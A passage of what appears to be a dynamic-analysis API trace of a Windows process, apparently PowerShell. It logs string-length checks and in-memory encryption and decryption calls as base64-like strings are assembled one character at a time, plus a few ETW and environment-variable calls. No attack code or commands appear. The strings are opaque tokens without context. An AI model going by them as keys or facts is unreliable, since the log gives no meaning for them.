Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.318] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0淑슼檽⡱胀") returned 0x20 [0229.318] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.318] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ͍쐖籠テ\㧘罛턷") returned 0x20 [0229.318] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ͍쐖籠テ\㧘罛턷") returned 0x20 [0229.318] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.318] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0k슼檽⡱胀") returned 0x20 [0229.318] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.318] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ굍뵞೐댎ﴱ㰵庥޴⊤) returned 0x20 [0229.319] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ굍뵞೐댎ﴱ㰵庥޴⊤) returned 0x20 [0229.319] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.319] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kM檽⡱胀") returned 0x20 [0229.319] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.319] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ譍閐밮蜏⒊ግ⊊) returned 0x20 [0229.319] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ譍閐밮蜏⒊ግ⊊) returned 0x20 [0229.319] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.319] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMx檽⡱胀") returned 0x20 [0229.319] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.319] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䑍琺遳㾡刮쯼젝冔⊥) returned 0x20 [0229.322] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䑍琺遳㾡刮쯼젝冔⊥) returned 0x20 [0229.322] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.322] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxK檽⡱胀") returned 0x20 [0229.322] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.322] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ컠捲扙ဨ\黟\∙) returned 0x20 [0229.322] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ컠捲扙ဨ\黟\∙) returned 0x20 [0229.322] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.322] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQ⡱胀") returned 0x20 [0229.322] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.322] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ쭍㍼ヲ胊ꮠ⊤) returned 0x20 [0229.322] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ쭍㍼ヲ胊ꮠ⊤) returned 0x20 [0229.323] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.323] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQS胀") returned 0x20 [0229.323] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.323] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ聍璴덽㲴顼伩ﭭ∽) returned 0x20 [0229.323] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ聍璴덽㲴顼伩ﭭ∽) returned 0x20 [0229.323] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.323] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSg") returned 0x20 [0229.323] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.323] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂⊞) returned 0x20 [0229.324] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂⊞) returned 0x20 [0229.324] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂⊞) returned 0x20 [0229.324] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂⊞) returned 0x28 [0229.324] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.324] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgj᙭㬊髕됝⾌녿匛") returned 0x28 [0229.324] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.324] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂펞棣؂挈㔶㯑♓䩬≂) returned 0x28 [0229.325] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂펞棣؂挈㔶㯑♓䩬≂) returned 0x28 [0229.325] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.325] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjs㬊髕됝⾌녿匛") returned 0x28 [0229.325] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.325] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂䧜鑱裮ᆑ䟉닿琣∇) returned 0x28 [0229.325] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂䧜鑱裮ᆑ䟉닿琣∇) returned 0x28 [0229.325] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.325] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsb髕됝⾌녿匛") returned 0x28 [0229.325] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.325] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂㆞꣆ᖉ藤\럟銅\x93ꋗ") returned 0x28 [0229.325] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂㆞꣆ᖉ藤\럟銅\x93ꋗ") returned 0x28 [0229.325] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.325] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbg됝⾌녿匛") returned 0x28 [0229.326] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.326] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂鮞摵㯲஍霫൴⊆) returned 0x28 [0229.326] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂鮞摵㯲஍霫൴⊆) returned 0x28 [0229.326] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.326] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk⾌녿匛") returned 0x28 [0229.326] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.326] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂잞뺬ᴴﲸꄼ腱짚⋁) returned 0x28 [0229.326] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂잞뺬ᴴﲸꄼ腱짚⋁) returned 0x28 [0229.326] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.327] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1녿匛") returned 0x28 [0229.327] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.327] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂遮⊵몣琰鳣᫷\鷚") returned 0x28 [0229.327] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂遮⊵몣琰鳣᫷\鷚") returned 0x28 [0229.327] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.327] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1B匛") returned 0x28 [0229.327] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.327] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂咓꧟爂砗닱∲) returned 0x28 [0229.327] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂咓꧟爂砗닱∲) returned 0x28 [0229.327] SystemFunction041 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.328] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1B8") returned 0x28 [0229.328] SystemFunction040 (in: Memory=0x5c9263c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9263c) returned 0x0 [0229.328] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊⊛) returned 0x28 [0229.328] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊⊛) returned 0x28 [0229.328] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊⊛) returned 0x28 [0229.329] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊⊛) returned 0x30 [0229.329] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.329] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1B8L䂋㮒挖ﴄ礍嚼") returned 0x30 [0229.329] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.329] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊莛\껛樇孚섘ᇩ贆ⶴ") returned 0x30 [0229.329] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊莛\껛樇孚섘ᇩ贆ⶴ") returned 0x30 [0229.329] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.330] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1B8LQ䂋㮒挖ﴄ礍嚼") returned 0x30 [0229.330] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.330] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊綛哜ឪ僥\⧛씶᥊") returned 0x30 [0229.330] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊綛哜ឪ僥\⧛씶᥊") returned 0x30 [0229.330] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.330] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1B8LQM㮒挖ﴄ礍嚼") returned 0x30 [0229.330] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.330] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊骛맲Ⲥ㯥㠄\叾") returned 0x30 [0229.330] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ䅍挮ᭌಙ⃂힞͍尷女篨繋蜊骛맲Ⲥ㯥㠄\叾") returned 0x30 [0229.330] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.331] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV0kMxKQSgjsbgk1B8LQM=挖ﴄ礍嚼") returned 0x30 [0229.331] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0229.331] EtwEventActivityIdControl () returned 0x0 [0229.331] EtwEventActivityIdControl () returned 0x0 [0229.331] EtwEventActivityIdControl () returned 0x0 [0229.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.333] EtwEventActivityIdControl () returned 0x0 [0229.333] EtwEventActivityIdControl () returned 0x0 [0229.333] EtwEventActivityIdControl () returned 0x0 [0229.334] SysStringLen (param_1="") returned 0x8 [0229.334] SysStringLen (param_1="N") returned 0x8 [0229.334] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.334] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0229.334] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0229.334] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.335] SysStringLen (param_1="ND") returned 0x8 [0229.335] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.335] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0229.429] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0229.429] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.429] SysStringLen (param_1="NDZ") returned 0x8 [0229.429] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.429] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0229.430] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0229.430] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.430] SysStringLen (param_1="NDZl") returned 0x8 [0229.430] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.430] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0229.430] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0229.430] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.430] SysStringLen (param_1="NDZlO") returned 0x8 [0229.430] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.430] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0229.430] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0229.430] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.431] SysStringLen (param_1="NDZlOD") returned 0x8 [0229.431] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.431] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0229.431] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0229.431] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.431] SysStringLen (param_1="NDZlODR") returned 0x8 [0229.431] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.431] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0229.431] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0229.431] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.431] SysStringLen (param_1="NDZlODRm") returned 0x8 [0229.431] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0229.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0229.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0229.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0229.433] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.433] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0229.433] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0229.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0229.433] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.433] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0229.433] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0229.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0229.434] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.434] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0229.434] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0229.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0229.434] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.434] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0229.434] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0229.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0229.434] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.435] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0229.435] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0229.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0229.435] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.435] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0229.435] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0229.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0229.435] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.435] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0229.435] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0229.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0229.436] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.436] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0229.436] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0229.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0229.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0229.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0229.437] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.437] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0229.437] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0229.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0229.437] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.437] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0229.437] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.438] SysStringLen 